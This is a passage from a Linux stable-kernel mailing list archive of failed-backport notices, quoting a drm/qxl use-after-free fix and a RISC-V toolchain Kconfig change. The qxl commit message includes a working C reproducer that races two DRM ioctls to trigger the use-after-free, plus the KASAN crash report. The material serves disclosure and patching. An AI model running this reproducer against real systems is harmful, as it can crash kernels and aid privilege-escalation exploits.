- args->size, &surf, &qobj,
+ args->size, &surf, &gobj,
&handle);
if (r)
return r;
+ qobj = gem_to_qxl_bo(gobj);
qobj->is_dumb = true;
+ drm_gem_object_put(gobj);
args->pitch = pitch;
args->handle = handle;
return 0;
diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c
index a08da0bd9098..fc5e3763c359 100644
--- a/drivers/gpu/drm/qxl/qxl_gem.c
+++ b/drivers/gpu/drm/qxl/qxl_gem.c
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size,
return 0;
}
+/*
+ * If the caller passed a valid gobj pointer, it is responsible to call
+ * drm_gem_object_put() when it no longer needs to acess the object.
+ *
+ * If gobj is NULL, it is handled internally.
+ */
int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
struct drm_file *file_priv,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle)
{
- struct drm_gem_object *gobj;
int r;
+ struct drm_gem_object *local_gobj;
- BUG_ON(!qobj);
BUG_ON(!handle);
r = qxl_gem_object_create(qdev, size, 0,
domain,
false, false, surf,
- &gobj);
+ &local_gobj);
if (r)
return -ENOMEM;
- r = drm_gem_handle_create(file_priv, gobj, handle);
+ r = drm_gem_handle_create(file_priv, local_gobj, handle);
if (r)
return r;
- /* drop reference from allocate - handle holds it now */
- *qobj = gem_to_qxl_bo(gobj);
- drm_gem_object_put(gobj);
+
+ if (gobj)
+ *gobj = local_gobj;
+ else
+ /* drop reference from allocate - handle holds it now */
+ drm_gem_object_put(local_gobj);
+
return 0;
}
diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c
index 30f58b21372a..dd0f834d881c 100644
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
+++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc *qxl_alloc = data;
int ret;
- struct qxl_bo *qobj;
uint32_t handle;
u32 domain = QXL_GEM_DOMAIN_VRAM;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
domain,
qxl_alloc->size,
NULL,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
{
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc_surf *param = data;
- struct qxl_bo *qobj;
int handle;
int ret;
int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
QXL_GEM_DOMAIN_SURFACE,
size,
&surf,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] drm/qxl: fix UAF on handle creation" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x c611589b4259ed63b9b77be6872b1ce07ec0ac16
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082121-mumps-residency-9108@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
c611589b4259 ("drm/qxl: fix UAF on handle creation")
f4a84e165e6d ("drm/qxl: allocate dumb buffers in ram")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c611589b4259ed63b9b77be6872b1ce07ec0ac16 Mon Sep 17 00:00:00 2001
From: Wander Lairson Costa <wander(a)redhat.com>
Date: Mon, 14 Aug 2023 13:51:19 -0300
Subject: [PATCH] drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}
This is a KASAN report:
==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>
Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander(a)redhat.com>
Cc: stable(a)vger.kernel.org
Reviewed-by: Dave Airlie <airlied(a)redhat.com>
Signed-off-by: Dave Airlie <airlied(a)redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander…
diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h
index ea993d7162e8..307a890fde13 100644
--- a/drivers/gpu/drm/qxl/qxl_drv.h
+++ b/drivers/gpu/drm/qxl/qxl_drv.h
@@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle);
void qxl_gem_object_free(struct drm_gem_object *gobj);
int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv);
diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c
index d636ba685451..17df5c7ccf69 100644
--- a/drivers/gpu/drm/qxl/qxl_dumb.c
+++ b/drivers/gpu/drm/qxl/qxl_dumb.c
@@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
{
struct qxl_device *qdev = to_qxl(dev);
struct qxl_bo *qobj;
+ struct drm_gem_object *gobj;
uint32_t handle;
int r;
struct qxl_surface surf;
@@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv,
r = qxl_gem_object_create_with_handle(qdev, file_priv,
QXL_GEM_DOMAIN_CPU,
- args->size, &surf, &qobj,
+ args->size, &surf, &gobj,
&handle);
if (r)
return r;
+ qobj = gem_to_qxl_bo(gobj);
qobj->is_dumb = true;
+ drm_gem_object_put(gobj);
args->pitch = pitch;
args->handle = handle;
return 0;
diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c
index a08da0bd9098..fc5e3763c359 100644
--- a/drivers/gpu/drm/qxl/qxl_gem.c
+++ b/drivers/gpu/drm/qxl/qxl_gem.c
@@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size,
return 0;
}
+/*
+ * If the caller passed a valid gobj pointer, it is responsible to call
+ * drm_gem_object_put() when it no longer needs to acess the object.
+ *
+ * If gobj is NULL, it is handled internally.
+ */
int qxl_gem_object_create_with_handle(struct qxl_device *qdev,
struct drm_file *file_priv,
u32 domain,
size_t size,
struct qxl_surface *surf,
- struct qxl_bo **qobj,
+ struct drm_gem_object **gobj,
uint32_t *handle)
{
- struct drm_gem_object *gobj;
int r;
+ struct drm_gem_object *local_gobj;
- BUG_ON(!qobj);
BUG_ON(!handle);
r = qxl_gem_object_create(qdev, size, 0,
domain,
false, false, surf,
- &gobj);
+ &local_gobj);
if (r)
return -ENOMEM;
- r = drm_gem_handle_create(file_priv, gobj, handle);
+ r = drm_gem_handle_create(file_priv, local_gobj, handle);
if (r)
return r;
- /* drop reference from allocate - handle holds it now */
- *qobj = gem_to_qxl_bo(gobj);
- drm_gem_object_put(gobj);
+
+ if (gobj)
+ *gobj = local_gobj;
+ else
+ /* drop reference from allocate - handle holds it now */
+ drm_gem_object_put(local_gobj);
+
return 0;
}
diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c
index 30f58b21372a..dd0f834d881c 100644
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c
+++ b/drivers/gpu/drm/qxl/qxl_ioctl.c
@@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc *qxl_alloc = data;
int ret;
- struct qxl_bo *qobj;
uint32_t handle;
u32 domain = QXL_GEM_DOMAIN_VRAM;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr
domain,
qxl_alloc->size,
NULL,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
@@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
{
struct qxl_device *qdev = to_qxl(dev);
struct drm_qxl_alloc_surf *param = data;
- struct qxl_bo *qobj;
int handle;
int ret;
int size, actual_stride;
@@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi
QXL_GEM_DOMAIN_SURFACE,
size,
&surf,
- &qobj, &handle);
+ NULL, &handle);
if (ret) {
DRM_ERROR("%s: failed to create gem ret=%d\n",
__func__, ret);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x ca09f772cccaeec4cd05a21528c37a260aa2dd2c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082128-harmless-tightrope-55e3@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
ca09f772ccca ("riscv: Handle zicsr/zifencei issue between gcc and binutils")
e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
aae538cd03bc ("riscv: fix detection of toolchain Zihintpause support")
8eb060e10185 ("arch/riscv: add Zihintpause support")
1631ba1259d6 ("riscv: Add support for non-coherent devices using zicbom extension")
73448ae6204f ("RISC-V: Some Svpbmt fixes and cleanups")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From ca09f772cccaeec4cd05a21528c37a260aa2dd2c Mon Sep 17 00:00:00 2001
From: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Date: Thu, 10 Aug 2023 00:56:48 +0800
Subject: [PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer
20191213 version which moves some instructions from the I extension to the
Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds
that version, we should explicitly specifying Zicsr and Zifencei via -march
to cope with the new changes. but this only occurs when binutils >= 2.36
and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and
Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr
and Zifencei extension for -march. binutils-2.35 does not support the
Zifencei extension, and does not need to specify Zicsr and Zifencei when
working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in
CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases,
where clang < 17 or GCC < 11.1.0, we will deal with them in
CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871… [0]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51… [1]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=5a1b31e1e1cee6e9f… [2]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=729a53530e86972d1… [3]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7… [4]
Link: https://lore.kernel.org/all/20230308220842.1231003-1-conor@kernel.org
Link: https://lore.kernel.org/all/20230223220546.52879-1-conor@kernel.org
Reviewed-by: Conor Dooley <conor.dooley(a)microchip.com>
Acked-by: Guo Ren <guoren(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Link: https://lore.kernel.org/r/20230809165648.21071-1-xingmingzheng@iscas.ac.cn
Signed-off-by: Palmer Dabbelt <palmer(a)rivosinc.com>
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 4c07b9189c86..10e7a7ad175a 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -570,24 +570,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE
config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
def_bool y
# https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871…
- depends on AS_IS_GNU && AS_VERSION >= 23800
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51…
+ depends on AS_IS_GNU && AS_VERSION >= 23600
help
- Newer binutils versions default to ISA spec version 20191213 which
- moves some instructions from the I extension to the Zicsr and Zifencei
- extensions.
+ Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer
+ 20191213 version, which moves some instructions from the I extension to
+ the Zicsr and Zifencei extensions. This requires explicitly specifying
+ Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr
+ and Zifencei are supported in binutils from version 2.36 onwards.
+ To make life easier, and avoid forcing toolchains that default to a
+ newer ISA spec to version 2.2, relax the check to binutils >= 2.36.
+ For clang < 17 or GCC < 11.1.0, for which this is not possible, this is
+ dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
config TOOLCHAIN_NEEDS_OLD_ISA_SPEC
def_bool y
depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
# https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694…
- depends on CC_IS_CLANG && CLANG_VERSION < 170000
+ # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7…
+ depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100)
help
- Certain versions of clang do not support zicsr and zifencei via -march
- but newer versions of binutils require it for the reasons noted in the
- help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This
- option causes an older ISA spec compatible with these older versions
- of clang to be passed to GAS, which has the same result as passing zicsr
- and zifencei to -march.
+ Certain versions of clang and GCC do not support zicsr and zifencei via
+ -march. This option causes an older ISA spec compatible with these older
+ versions of clang and GCC to be passed to GAS, which has the same result
+ as passing zicsr and zifencei to -march.
config FPU
bool "FPU support"
diff --git a/arch/riscv/kernel/compat_vdso/Makefile b/arch/riscv/kernel/compat_vdso/Makefile
index 189345773e7e..b86e5e2c3aea 100644
--- a/arch/riscv/kernel/compat_vdso/Makefile
+++ b/arch/riscv/kernel/compat_vdso/Makefile
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache
COMPAT_CC := $(CC)
COMPAT_LD := $(LD)
-COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+# binutils 2.35 does not support the zifencei extension, but in the ISA
+# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI.
+ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI
+ COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32
+else
+ COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32
+endif
COMPAT_LD_FLAGS := -melf32lriscv
# Disable attributes, as they're useless and break the build.
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x ca09f772cccaeec4cd05a21528c37a260aa2dd2c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082126-debating-scanning-deb2@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
ca09f772ccca ("riscv: Handle zicsr/zifencei issue between gcc and binutils")
e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
aae538cd03bc ("riscv: fix detection of toolchain Zihintpause support")
8eb060e10185 ("arch/riscv: add Zihintpause support")
1631ba1259d6 ("riscv: Add support for non-coherent devices using zicbom extension")
73448ae6204f ("RISC-V: Some Svpbmt fixes and cleanups")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From ca09f772cccaeec4cd05a21528c37a260aa2dd2c Mon Sep 17 00:00:00 2001
From: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Date: Thu, 10 Aug 2023 00:56:48 +0800
Subject: [PATCH] riscv: Handle zicsr/zifencei issue between gcc and binutils
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer
20191213 version which moves some instructions from the I extension to the
Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds
that version, we should explicitly specifying Zicsr and Zifencei via -march
to cope with the new changes. but this only occurs when binutils >= 2.36
and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and
Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr
and Zifencei extension for -march. binutils-2.35 does not support the
Zifencei extension, and does not need to specify Zicsr and Zifencei when
working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in
CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases,
where clang < 17 or GCC < 11.1.0, we will deal with them in
CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae871… [0]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51… [1]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=5a1b31e1e1cee6e9f… [2]
Link: https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=729a53530e86972d1… [3]
Link: https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a7… [4]
Link: https://lore.kernel.org/all/20230308220842.1231003-1-conor@kernel.org
Link: https://lore.kernel.org/all/20230223220546.52879-1-conor@kernel.org
Reviewed-by: Conor Dooley <conor.dooley(a)microchip.com>
Acked-by: Guo Ren <guoren(a)kernel.org>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Mingzheng Xing <xingmingzheng(a)iscas.ac.cn>
Link: https://lore.kernel.org/r/20230809165648.21071-1-xingmingzheng@iscas.ac.cn
Signed-off-by: Palmer Dabbelt <palmer(a)rivosinc.com>
diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index 4c07b9189c86..10e7a7ad175a 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -570,24 +570,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE
